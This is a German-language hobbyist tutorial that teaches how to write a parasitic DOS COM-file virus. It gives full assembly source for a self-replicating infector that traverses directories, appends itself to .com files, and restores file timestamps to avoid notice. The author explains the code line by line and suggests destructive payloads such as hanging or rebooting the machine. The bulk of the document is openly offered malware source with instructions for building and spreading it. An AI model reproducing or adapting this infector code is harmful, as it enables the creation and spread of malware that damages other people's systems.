SnakeByte's Parasitic COM Infection-Lehrbuch Teil I - Generelle Informationen Ich gehe einfach mal davon aus, das ihr mein erstes Tutorial gelesen habt oder schon wisst wie man einen Overwritter schreibt... trotzdem werde ich natürlich versuchen alles in diesem Tutorial so einfach wie möglich zu halten. Nachdem wir im ersten Tutorial das Opfer einfach mit unserem Viren Code überschrieben haben, wollen wir diesmal das Opfer am Leben halten, damit die Infection länger im geheimen bleibt. Das geschieht folgendermasen: [Virus] + [Programm] = [jmp zu Virus][rogramm][Virus][P] ;> ich hoffe das ist jetzt nicht allzu verwirrend ... also im Grunde genommen speichern wir die ersten 4 Bytes des zu infizierenden Programms und ersetzten diese durch einen Sprung zu unserem Virus und einer Infectionsmarke. Da wir diese 4 Bytes noch brauchen um die Originaldatei später ausführen zu können, speichern wir diese am Ende des Virus. Wenn eine infizierte Datei nun gestartet wird, wird zuerst zu unserem Virus gesprungen, dort dann die Originaldatei wiederhergestellt und nach Ablauf des Virus auch ausgeführt. Das praktische an COM Dateien ist, das sie komplett in den Speicher geladen werden (COM = Copy Of Memory) so das wir den Code während der Ausführung ändern können, ohne das die Originaldatei beeinflusst wird. Ein Problem gibt es allerdings mit COM Dateien, sie dürfen nicht größer als 65280 Bytes werden, da sie ansonsten nicht mehr in einen Speicherblock passen. Aber das soll uns hier nicht weiter interessieren.. im Anhang ist aber noch eine Routine, mit der ihr die Größe eueres Opfers überprüfen könnt. Ich habe dafür dem Virus Routinen wie zum Beispiel das Speichern des Originaldatums und der Zeit der Dateien, da ein Verzeichnis mit nur Dateien des gleichen Datums immer merkwürdig aussieht, hinzugefügt. Und habe das Ändern der Verzeichnisse erweitert. Der Ablaufplan des Virus sieht nun folgendermassen aus. 1.) JMP zu Virus 2.) Infections Marke um zu überprüfen ob eine Datei schon infiziert ist <<< hier wird sich später die Originaldatei verstecken 3.) Ermitteln des Delta Offsets 4.) DTA verschieben 5.) Ersten 4 Bytes des Originalprogramms wiederherstellen 6.) Momentanes Verzeichnis speichern 7.) Datei finden ..falls keine gefunden JMP 17.) 8.) Datei öffnen 9.) Datum und Zeit der Datei speichern 10.) Lesen + Speichern der ersten 4 Bytes 11.) Auf Fake-COM und vorherige Infection überprüfen... falls ja dann jmp 16.) 12.) Länge der Originaldatei ermitteln 13.) Virus schreiben 14.) JMP zu Virus und Infection Marke schreiben 15.) Datum und Zeit wiederherstellen 16.) Datei schließen und JMP 7.) 17.) Verzeichnis ändern cd.. und JMP 7.) falls 'C:\' JMP 18.) 18.) Originalverzeichnis wiederherstellen 19.) DTA wiederherstellen 20.) Originalprogramm ausführen Das sieht viel aus, ist aber zum Großteil schon bekannt. Sicher habt ihr nun ne Menge Fragen.. Ich werde versuchen diese der Reihe nach zu beantworten. Was ist eine Infectionsmarke ? ...Die ist in unserem Beispiel einfach ein 'Y', das an Stelle des 4. Bytes eines Programmes eingesetz wird, an dem wir eine bereits infizierte Datei erkennen. Es gibt noch andere Wege um zu überprüfen ob eine Datei bereits infiziert ist, wie z.B. das Überprüfen auf einen JMP am Anfang der Datei, aber ich denke mal für den Anfang ist dies die Einfachste. Wenn ihr eine Infizierte Datei mit einem Hexeditor öffnet werdet ihr an 4. Stelle ein Y vorfinden. Da niemals versucht wird den Code in Byte 4 auszuführen (da wir vorher zum Virus springen) werden hier auch keine Fehlermeldungen produziert. Was zur Hölle ist ein Delta Offset ? Wenn man sein Programm kompiliert werden alle JMP's in Adressangaben umgesetzt, die dann feststehen. Wenn man aber nun eine Datei infiziert verschieben sich die Adressangaben aller Daten, so das nun nichts mehr stimmt. Deshalb wird hier der Start des Viruscodes ermittelt, und alle Datenangaben werden nun auf diesen bezogen. Bsp.: 1 Daten sind in 3 <-- dies ist der Normalfall 2 3 -Daten- so hier stimmt noch alles 1 Programm eingefügt 2 Daten sind in 3 <-- nach der Verschiebung 3 4 -Daten- Jetzt ist natürlich alles durcheinander deshalb wird folgendes gemacht 1 Daten sind 2 Felder weiter unten <-- dies ist unser Delta Offset verfahren 2 3 Daten nun ist es egal, wie sich die Felder verschieben, da man immer auf die richtige Stelle zugreift ... Ich hoffe, der Teil der noch nicht so klar ist, wird später im Programm deutlich.. Wiso verschieben wir die DTA und was ist das ?? Jetzt muss ich weiter ausholen... Also... wenn man ein Programm startet wird das PSP (Program Segment Prefix) gebildet. Das PSP fängt bei 0hex an und hört bei 100hex auf... dort fängt dann unser Programm an (org 100h). In diesem stehen Daten, die für die Ausführung des Programmes wichtig sind. In diesem PSP liegt auch unsere DTA (Disk Transfer Area). Die fängt bei 80hex an und enthält Daten wie Kommandozeilen Operatoren. Wenn wir nun nach Dateien suchen (und das werden wir mit unserem Virus :) werden Informationen in die DTA über gefundene Dateien geschrieben. Dies würde nun alle Informationen die für die Originaldatei wichtig sind zerstören. Deshalb verschieben wir die DTA, in einen Bereich, den wir ohne Schaden zu verursachen ändern können. Nämlich zu allen anderen Daten in unserem Virus. Die DTA ist nach folgendem Schema aufgebaut: Offset Größe Beschreibung 0h 21 Bytes Reserviert =P 15h 1 Byte Dateiattribute 16h 2 Bytes Dateizeit 18h 2 Bytes Dateidatum 1Ah 4 Bytes Dateilänge 1Eh 13 Bytes Dateiname und Erweiterung Dies ist im Moment noch nicht so wichtig.. aber lernen müsst ihr es garantiert irgendwann. Was sind Fake-COM'S ??? Nicht jede COM Datei ist eine COM Datei, da die Erweiterung .COM Dos nur angibt in welcher Reihenfolge es die Dateien ausführen soll. Wenn man also am DOS Prompt ein 'start' angibt, überprüft DOS zuerst ob es eine 'start.EXE' gibt, dann ob es eine 'start.COM' gibt und zum Schluss ob es eine 'start.BAT' gibt. Die Art, wie DOS die Dateien ausführt, wird durch einen Marker bestimmt, der sich in den ersten 2 Bytes befindet. Wenn es eine EXE Datei ist steht dort 'MZ' oder 'ZM' Um zu verhindern, das wir diese infizieren, müssen wir jede Datei auf eine EXE-Marke überprüfen. Diese Marke befindet sich in Byte 1 und 2 jeder EXE Datei und lautet 'MZ' bzw 'ZM'. Wenn wir diese Programme infizieren würden, würden wir sie zerstören, und damit würde unser Virus auffallen ... Ich hoffe, damit habe ich alle Fragen geklärt... falls nein mail to SnakeByte@gmx.de Teil II - Der Code ..hier kommt etwas Code, den ich später aber nochmal erläutere... keine Angst es ist einfacher als es aussieht... --------------code Anfang--------> code segment assume cs:code,ds:code ;Definiert die einzelnen Segmente org 100h ;Wir bauen eine .COM Datei Start: db 0e9h,0,0 ;JMP für erstes Ausführen der Datei db 'Y' ;Infection Marke ; Die Infizierte Datei ; wird später hier stehen Virusstart: ;Hier fängt der Spaß an... call GET_BP ;Hier verwenden wir einen alten Trick, um das ;Delta Offset zu ermitteln GET_BP: pop bp sub bp, offset GET_BP lea dx,[bp+OFFSET NEW_DTA] ;Hier verschieben wir die DTA mov ah, 1ah ;von 80h nach NEW_DTA int 21h lea si,[bp+OFFSET OLDBYTES] ;Nun stellen wir die Ursprungsdatei wieder her mov di, 100h ;Indem wir von Oldbytes nach 100h movsw ;4 Bytes schreiben movsw mov dl, 0h ;Hier ermitteln wir das aktuelle Verzeichnis mov ah, 47h ;und speichern es in dir lea si, [bp+offset dir+1] int 21h FIND_FIRST: mov ah,4eh ;Finde erste Datei FIND_OTHERS: lea dx, [bp+comstr] ;laden der Dateimaske comstr xor cx,cx ;cx = 0 ...normale Dateien int 21h jc Change_dir ;wenn keine gefunden dann jmp nach change_dir mov ax,3d02h ;Datei öffnen lea dx,[bp+Offset NEW_DTA+1eh] ;Den Dateinamen holen wir uns aus der DTA int 21h xchg ax,bx ;Filehandle in bx speichern mov ax,5700h ;Datum / Zeit speichern int 21h push dx ;Und zwar im Stack push cx mov ah,3fh ;Ersten 4 Bytes lesen und speichern mov cx,4h lea dx,[bp+OLDBYTES] int 21h cmp word ptr [bp+OLDBYTES],'ZM' ;FAKE COM ? je close_file cmp word ptr [bp+OLDBYTES],'MZ' ;FAKE COM ? je close_file cmp byte ptr [bp+OLDBYTES+3],'Y' ;Y ? Bereits infiziert ?? je close_file mov ax,4202h ;Zum Ende der Datei gehen und ermittlen der xor cx,cx ;Länge der Datei xor dx,dx int 21h sub ax,3h ;Den Sprung von der Länge abziehen mov word ptr [bp+jmpb+1],ax ;Neuen JMP erstellen mov ah,40h ;Virus anhängen mov cx,ENDVIRUS-Virusstart ;Länge des Virus errechnen lea dx,[bp+Virusstart] ;Bei virusstart anfangen zu schreiben int 21h mov ax,4200h ;Zum Begin der Datei xor cx,cx xor dx,dx int 21h mov ah,40h ;JMP und 'Y' Marke schreiben mov cx,4h lea dx,[bp+jmpb] int 21h mov ax,5701h ;Datum/Zeit wiederherstellen pop cx ;Indem wir die Werte wieder aus dem pop dx ;Stack holen int 21h CLOSE_FILE: mov ah, 3eh ;Datei schließen int 21h mov ah,4fh ;Weitere Dateien suchen jmp FIND_OTHERS Change_dir: mov ah,3bh ;Verzeichnis ändern lea dx,[bp+dotdot] ;cd .. int 21h jc end_virus jmp find_first END_Virus: lea si,[bp+offset dir] ;Verzeichnis wiederherstellen mov byte ptr [si],'\' mov ah,3Bh xchg dx,si int 21h mov dx,80h ;DTA wieder richtig stellen mov ah,1Ah int 21h mov di,100h ;Originaldatei ausführen jmp di comstr db '*.com',0 ;Variabeln <-- Filemask jmpb db 0e9h,0,0,'Y' ;Neuer JMP mit 'Y' Marke dotdot db '..',0 ;Punkte für cd.. dir db 65 dup (?) ;Verzeichnis speichern NEW_DTA db 43 dup (?) ;Neuer Platz für DTA OLDBYTES db 0cdh,20h,90h, 'Y' ;Für den ersten Durchlauf ENDVIRUS: ;ENDE code ends end start ------------code Ende--------> code segment assume cs:code,ds:code ;Definiert die einzelnen Segmente org 100h ;Wir bauen eine .COM Datei ich denk mal das ist bekannt :) Start: db 0e9h,0,0 ;JMP für erstes Ausführen der Datei db 'Y' ;Infection Marke Start ist wieder ein Label zum springen :> Das db bedeutet Define Byte. Also hier wird eine Variable definiert. Da der Inhalt dieser 'Variablen' aber direkt im Code steht wird er auch ausgeführt. Hmm.. das müsste nun doch eigentlich einen Error geben ? Nein, da 0e9h die Hexanweisung im Maschienencode ist einen jmp zu vollführen. Und wohin geht dieser JMP ? Einfach nach 0,0 den nächsten 2 Byte zufolge also einfach zur nächsten Anweisung. Das 'Y' ist unsere Infections Marke auch diese deklarieren wir per db. Man hätte das Ganze auch so schreiben können: db 0e9h,0,0,'Y' aber ich denke so ist es übersichtlicher... Virusstart: ;Hier fängt der Spaß an... call GET_BP ;Hier verwenden wir einen alten Trick, um das ;Delta Offset zu ermitteln Oha ein neuer Befehl... mit Call rufen wir eine Prozedur auf. Eigentlich verständlich oder ? Aber warum rufen wir eine Prozedur auf...? Das besondere beim aufruf einer Prozedur ist, das die Rücksprungaddresse in den Stack (Stapel) geladen wird. Und genau diese Adresse brauchen wir um unser Delta Offset zu berechnen. Der Stack ist ein Bereich des RAM's in den wir mir Push ax z.B. auch das Register ax speichern können. Hier kann man also Sachen speichern, die nur für diesen Ablauf des Programms wichtig sind. Das besondere am Stack ist, man kann die Daten auch nur in der umgekehrten Reinfolge, mit pop ,auch wieder auslesen. Hier ein Beispiel: push ax push bx mov bx,9h pop bx pop ax hier würde bx nach Ende des Durchlaufes wieder dem Ursprungwert entsprechen. GET_BP: pop bp sub bp, offset GET_BP Wie schon angedeutet laden wir nun die Rücksprungadresse in BP, dem Basepointer, ein Register, das extra für Adressberechnungen existiert. Nun Ziehen wir von dieser Adresse noch den Wert von GET_BP ab, so das wir die momentane Anfangsaddresse des Viruscodes bekommen. lea dx,[bp+OFFSET NEW_DTA] ;Hier verschieben wir die DTA mov ah, 1ah int 21h Wie schon erklärt wird hier die DTA verschoben. Dafür haben wir am Ende unseres Viruscodes extra ein wenig Platz reserviert. Die Adressierung [bp+Offset NEW_DTA] haben wir nun dem Delta Offset entsprechend geändert, indem wir zu der Ursprungsaddresse des Offsets NEW_DTA noch den neuen Virusanfang hinzu addieren (bp) . lea si,[bp+OFFSET OLDBYTES] ;Nun stellen wir die Ursprungsdatei wieder her mov di, 100h movsw movsw Mit lea si, [bp+OFFSET OLDBYTES] setzen wir den Source Index (Quellindex) auf Oldbytes und mov di,100h weist dem Destination Index (Ziel Index) den Wert 100h zu. Mit movsw schreiben wir nun ein Word aus dem SI in den DI. Da der DI auf den Beginn unserer Datei zeigt, und der SI auf die urprünglichen 4 Bytes der Originaldatei, stellen wir duch 2 movsw die Datei wieder her. Man hätte hier auch ein movdw stat zwei movsw verwenden können aber der Befehl movdw funktioniert erst ab dem 386 ...(immer schön kompatibel bleiben :) Hier noch eine kleine Tabelle: 1 Byte = 1 Byte --> movsb 2 Byte = 1 Word --> movsw 4 Byte = 1 Doubleword --> movdw mov dl, 0h ;Hier ermitteln wir das aktuelle Verzeichnis mov ah, 47h ;und speichern es in dir lea si, [bp+offset dir+1] int 21h Nun dies ist recht einfach.. wir schreiben in den Source Index den Begin unserer Variable, in dem später das Verzeichnis stehen soll, und schreiben es mit der Interruptfunktion 47h des Interrupts 21h hinein. Diese Interruptfunktion liefert uns einen String der Sorte 'mouse\bin\XYZ\' zu diesem müssen wir später für unser 'cd' noch ein '\' hinzufügen. Deshalb lassen wir das erste Byte unserer Variabeln frei. FIND_FIRST: mov ah,4eh ;Finde erste Datei FIND_OTHERS: lea dx, [bp+comstr] ;laden der Dateimaske comstr xor cx,cx ;cx = 0 ...normale Dateien int 21h jc Change_dir ;wenn keine gefunden dann jmp nach change_dir Ich denke dieser Abschnitt ist aus dem Overwritter noch in Erinnerung. Alles was sich hier verändert hat ist die Geschichte mit dem Delta Offset (lea dx,[bp+comstr]). mov ax,3d02h ;Datei öffnen lea dx,[bp+Offset NEW_DTA+1eh] int 21h xchg ax,bx ;Filehandle in bx speichern Auch hier öffnen wir die Datei auf altbekannte Weise, mit dem Unterschied, das wir den neuen Platz der DTA berücksichtigen. mov ax,5700h ;Datum / Zeit speichern int 21h push dx push cx Diese Interruptfunktion gibt uns in dx und cx das letzte Änderungsdatum der Datei an. Diese beiden Werte speichern wir mit push dx und push cx im Stack. mov ah,3fh ;Ersten 4 Bytes lesen und speichern mov cx,4h lea dx,[bp+OLDBYTES] int 21h Auch hier gibt es denke ich mal nicht mehr viel zu sagen, wir lesen die ersten 4 Bytes unseres Opfers in unsere Variable Oldbytes ein. cmp word ptr [bp+OLDBYTES],'ZM' ;FAKE COM ? je close_file cmp word ptr [bp+OLDBYTES],'MZ' ;FAKE COM ? je close_file cmp byte ptr [bp+OLDBYTES+3],'Y' ;Y ? Bereits infiziert ?? je close_file Hier Überprüfen wir zuerst 2 Mal das erste Word (2 Bytes) der eben eingelesenen 4 Bytes und vergleichen sie mit dem String 'ZM' und 'MZ'. Dieses dient zum Erkennen von FAKE-COM's. Was es genau damit auf sich hat habe ich weiter oben schon beschrieben. Der dritte Schritt ist eine Überprüfung des 4. Bytes, das wie schon erwähnt unseren Infektions Marker enthält. Falls eine der Bedingungen nicht zu unserer Zufriedenheit erfüllt ist, wird die Datei geschlossen. mov ax,4202h ;Zum Ende der Datei gehen und ermittlen der xor cx,cx ;Länge der Datei xor dx,dx int 21h Hier setzen wir unseren 'Stift' mit dem wir in das Opfer schreiben an das Ende des Opfers, was uns in ax die Länge des Codes des Opfers ausgiebt. sub ax,3h ;Den Sprung von der Länge abziehen mov word ptr [bp+jmpb+1],ax ;Neuen JMP erstellen Von der so ermittelten Länge ziehen wir nun 3h ab, da die Bytes die der Sprung später verbraucht nicht mit einberechnet werden dürfen. Nun schreiben wir auch dieses word von ax in unsere jmpb Variable, die nun den neuen Sprung enthält. Auch hier wird das erste Byte nicht beschrieben, da dieses den Hexcode (9eh) für einen Sprung enthält. mov ah,40h ;Virus anhängen mov cx,ENDVIRUS-Virusstart lea dx,[bp+Virusstart] int 21h Da wir schon am Ende der Datei sind hängen wir auch gerade noch unseren Virus an. Diese Routine sollte auch aus dem letzten Tutorial bekannt sein. mov ax,4200h ;Zum Begin der Datei xor cx,cx xor dx,dx int 21h Nun setzen wir unseren 'Stift' wieder an den Anfang der Datei, da wir dort unseren Sprung plazieren wollen. mov ah,40h ;JMP und 'Y' Marke schreiben mov cx,4h lea dx,[bp+jmpb] int 21h Nun schreiben wir unsere 4 Bytes an den Anfang des Opfers. Diese 4 Bytes enthalten den Sprung zum Code des Virus und unser 'Y' , die Infektions Marke. mov ax,5701h ;Datum/Zeit wiederherstellen pop cx pop dx int 21h Nun laden wir cx und dx wieder aus dem Stack und setzen nun das alte Zugriffsdatum wieder her. CLOSE_FILE: mov ah, 3eh ;Datei schließen int 21h mov ah,4fh ;Weitere Dateien suchen jmp FIND_OTHERS Nun schließen wir die Datei und suchen nach weiteren. Auch hier hat sich gegenüber dem Overwritter nichts verändert. Change_dir: mov ah,3bh ;Verzeichnis ändern lea dx,[bp+dotdot] ;cd .. int 21h jc end_virus jmp find_first Auch dieses ist altbekannt. Wir machen ein 'cd..' Auch hier habe ich nur das Delta Offset eingebaut. END_Virus: lea si,[bp+offset dir] ;Verzeichnis wiederherstellen mov byte ptr [si],'\' xchg dx,si mov ah,3Bh int 21h Hier stellen wir das ursprüngliche Verzeichnis wieder her. Zuerst fügen wir dem Verzeichnis an erster Stelle noch ein '\' hinzu. Und schreiben es in dx. Nun führen wir auch hier ein einfaches 'cd' aus. mov dx,80h ;DTA wieder richtig stellen mov ah,1Ah int 21h Hier wird die Sache mit der DTA wieder gradegebogen und sie wieder an ihren ursprünglichen Platz bei 80h mitten im PSP gesetzt. mov di,100h ;Originaldatei ausführen jmp di Nun setzen wir den Wert 100h in den Zielindex. Dieser Wert sollte euch bekannt vorkommen. Genau, bei dieser Adresse starten alle COM Dateien. Und genau dorthin springen wir jetzt. comstr db '*.com',0 ;Variabeln <-- Filemask jmpb db 0e9h,0,0,'Y' ;Neuer JMP mit 'Y' Marke dotdot db '..',0 ;Punkte für cd.. dir db 65 dup (?) ;Verzeichnis speichern NEW_DTA db 43 dup (?) ;Neuer Platz für DTA OLDBYTES db 0cdh,20h,90h,'Y' ;Für den ersten Durchlauf Hier deklarieren wir unsere Variablen. comstr ist die Filemask, die auch schon vom Overwritter bekannt ist. In jmpb versteckt sich (im Moment noch) ein JMP (9eh) von 0 Bytes Länge und unser Marker. Die dotdot Variable ist auch bekannt, nur habe ich den Namen geändert, da dieser meistens gebraucht wird und so der Code auch für anderssprachige leichter lesbar wird. dir ist eine Variable von 65 Bytes länge, die zwar bereitgestellt wird, aber noch nicht initialisiert wird (es steht nix drin :). Das gleiche Spiel bei NEW_DTA es werden 43 Bytes für die verschobene DTA reserviert. In OLDBYTES befinden sich Bytes, die beim ersten Ausführen des Virus an die Stelle 100h geschrieben und ausgeführt werden. So aber was bedeuten diese Zeichen ? Auch hier wird wieder einmal Assembler Code direkt in Hex übersetzt. Dort steht eigentlich folgendes: int 20h nop Mit int 20h kann man auch ein Programm beenden und die Kontrolle an DOS zurückgeben. nop ist nur ein Lückenfüller. Diese Anweisung wird beim Ausführen einfach übergangen. ENDVIRUS: ;ENDE code ends end start ...The End... Das mit dem kompilieren solltet ihr inzwischen selber hinbekommen oder ? tasm .asm tlink .obj /t und schon fertig... am einfachsten ist es sich dafür eine BAT Datei herzustellen.. die hier hab ich von Angel: @Echo Off if not exist %1.asm goto quit tasm %1 /n/p/t/w/z if errorlevel 1 goto quit tlink %1/d/x/t del %1.obj :quit ...falls ihr mal einfach ne BAT Datei zum kompilieren ausproiert, die ihr nicht selbst geschrieben habt.. kuckt sie euch an... ;> in dieser hier war ursprünglich noch eine Zeile, die das neue Programm sofort gestartet hat... auf diese Art und Weise hab ich mich vor nicht allzulanger Zeit selbst infiziert. Eine weitere Sache, die ich hier ansprechen will ist ein Programm, das ihr halt einfach mal zum Testen infizieren könnt... normalerweise solltet ihr sowas auch selber schreiben können ;), aber für die für die Assembler neu ist möchte ich hier noch eines anhängen. .MODEL TINY .CODE ORG 100H START: NOP ;Mache nix NOP NOP NOP MOV AX,4C00H ;zurück zu Dos INT 20H END START Ich denke mal was das Programm macht ist klar ... oder ? Und denkt dran es ist wichtig das ihr euere Viren testet,.. man finden Fehler, die einem sonst nie auffallen würden... Und nichts ist schlimmer als von fehlerhaftem Code zu lernen. Bei Fragen, Anmerkungen oder Kritik mail mir: SnakeByte@KryptoCrew.de SnakeByte ____________________________________________________________________________________________ <><><><><><><><><><><><><><><><><><><><>< Anhang ><><><><><><><><><><><><><><><><><><><><><> ******************************************************************************************** Hier noch ein paar Worte zum Testen euerer Viren... Wenn ihr wist wie sie funktionieren solltet ihr imstande sein sie ohne Probleme zu testen. Diesen Virus könnte man z.B. auf einer eigenen Diskette testen, da er nie das Laufwerk wechseln würde... Eine weitere Alternative ist das Umleiten aller Zugriffe auf C: nach A: mit dem Kommando subst c: a:\ Mit dem Kommando subst c: /d macht ihr das ganze wieder rückgängig. Also keine Angst um eueren PC. :> ...happy coding ! SnakeByte Und wieder einmal: Viele Grüße und Dank an: Lethal Mind, Techno Phunk, Paradizer, Schubbel, Gigabyte, Blind Angel, cue, Alibi, alle AVP's ;>, alle Tutorialschreiber, deren Tuts ich gelesen habe, Manowar und Alice Cooper und alle anderen, die es noch verdient haben... (ja ich war zu faul etwas neues zu schreiben :) Halt... fast hätt ich es doch vergessen ... ich hab euch nen Payload versprochen... hmm.. wie wärs ich geb euch ein paar kleine Ideen und ihr schreibt ihn selbst ? Also wie wärs mit ner Datumsabfrage...: Datum in Speicher einlesen: mov ah,2ah int 21h Diese Funktion gibt euch folgendes wieder: Register Inhalt dh Monat dl Tag cx Jahr al Tag (wobei 0 dem Sonntag entspricht) So und was wollen wir an dem Tag euerer Wahl tun ? Hmm sagen wir erstmal Text ausgeben: Text auf Bildschirm schreiben: mov ah, 9h mov dx, offset message int 21h message db 'Hallo',0Dh,0Ah,'$' Das 0Dh setzt den Cursor in Spalte 1 und das 0Ah schiebt den Cursor eine Zeile nach unten. Das $ gibt das Ende des Textes an... Wie ? Das reicht euch nicht ?? Ok ...hmm PC hängen lassen könnt ihr ? (kleiner Tip Endlosschleife.. g: jmp g) Also wie geht ein Warmstart: jmp FFFF:0000 Einfach oder ? ... Viel Spaß beim Basteln und vergest nicht auf das Delta Offset zu achten... SnakeByte ********************************{ Routinen }********************************************* '''**''' Nur weiterlesen, wenn alles andere verstanden ist '''**''' Mit dieser Routine überprüft ihr die Größe eueres Opfers... Diese Routine sollte angewendet werden, direkt nachdem ihr die Datei geöffnet habt.. cmp word ptr 1ah,400 ;Vergleich der Größe mit 400 Bytes jna zu_klein ;Falls sie nicht größer ist püfen ob sie vielleicht ;zu klein ist jmp find_next ;sie ist zu groß... Ich denke mal wie ihr die Länge eueres Virusses rausbekommt wisst ihr... ;> Also wird es euch auch keine Probleme bereiten das so zu ändern, das ihr alle Dateien erwischt, die auf's Byte genau noch unterhalb der 64k Grenze sind... Mit dieser Routine könnt ihr auch überprüfen, ob eine Datei bereits von euch infiziert ist. Ihr solltet die ersten 3 Bytes einlesen um diesen check zu verwenden: mov ax,word ptr [bp+NEW_DTA+26] ;Lesen die Dateigrößen aus der DTA mov cx,word ptr [bp+OLDBYTES+1] ;Auslesen des Sprungziels add cx,endvirus-virusstart+3 ;Zum Sprungziel die Länge des Virus ;und die 3 JMP Bytes addieren cmp ax,cx je FIND_OTHERS ;Falls beide Werte gleich sind nächste Datei Zuerst lesen wir die Länge des Opfers aus. Wenn die Datei schon infiziert wurde, müsste in Oldbytes (nach dem JMP,also ab Byte 2) die Länge der ursprünglichen Datei stehen, da wir den Ende der Datei zum Anfangspunkt unseres Virus gemacht haben. Zu dieser Länge addieren wir nun noch unseren Virus mitsamt den 3 JMP Bytes, da wir ja nicht vom Anfang des Opfers springen sondern von seinem 3. Byte. Falls nun beide Werte gleich sind, wissen wir, das die Datei schon infiziert ist. ___________________________________________________________________________________________ <>()<>()<>()<>()<>()<>()<>()<>()<>( Befehle )<>()<>()<>()<>()<>()<>()<>()<>()<>()<>()<>()<> mov , Dieser Befehl schreibt den Wert aus einer Quelle ans Ziel :P -- xchng , Dieser Befehl tauscht Ziel und Quelle. -- xor , Hiermit erreichen wir ein Exklusives oder... (schlag mal in deinem Mathebuch nach :) -- cmp , Ist zwar nicht im Code aber wichtig für die bedingten Sprünge... es wird das Ziel mit der Quelle verglichen und dann kann man mit einem bedingten Sprung nach Ergebnis weiterspringen... Bsp.: mov ah,7h cmp ah,7h je wohinauchimmer Dieser Code springt immer nach wohinauchimmer, da die Bedingung für den bedingten Sprung je <-- Jump if equal ...springe wenn gleich erfüllt ist Des weiteren gibt es folgende Sprünge ja <-- springe wenn größer als jb <-- springe wenn kleiner als jae <-- springe wenn größer als oder beide gleich jbe <-- springe wenn kleiner als oder beide gleich jc <-- springe wenn Carrierflag gesetzt wurde jnc <-- springe wenn kein Carrierflag gesetz wurde je <-- springe wenn gleich jmp <-- springe IMMER ! -- lea , Ist das Gleiche wie mov , Offset -- call Ruft eine Prozedur auf... Mit dem Befehl ret kann wieder zu diesem Punkt zurückgekehrt werden. -- pop Liest die oberste Variable aus dem Stack und schreibt sie in -- push Schreibt den Inhalt des Registers in den Stack. (damit kann man auch Konstanten pushen) -- sub , zieht den Operant2 von Operant1 ab und speichert das ganze in Operant1. -- 1 Byte = 1 Byte --> movsb 2 Byte = 1 Word --> movsw 4 Byte = 1 Doubleword --> movdw Diese Befehle schreiben jeweils die Menge der Bytes aus der 1. Spalte, vom SI in den DI. '*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'' ENDE ''*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*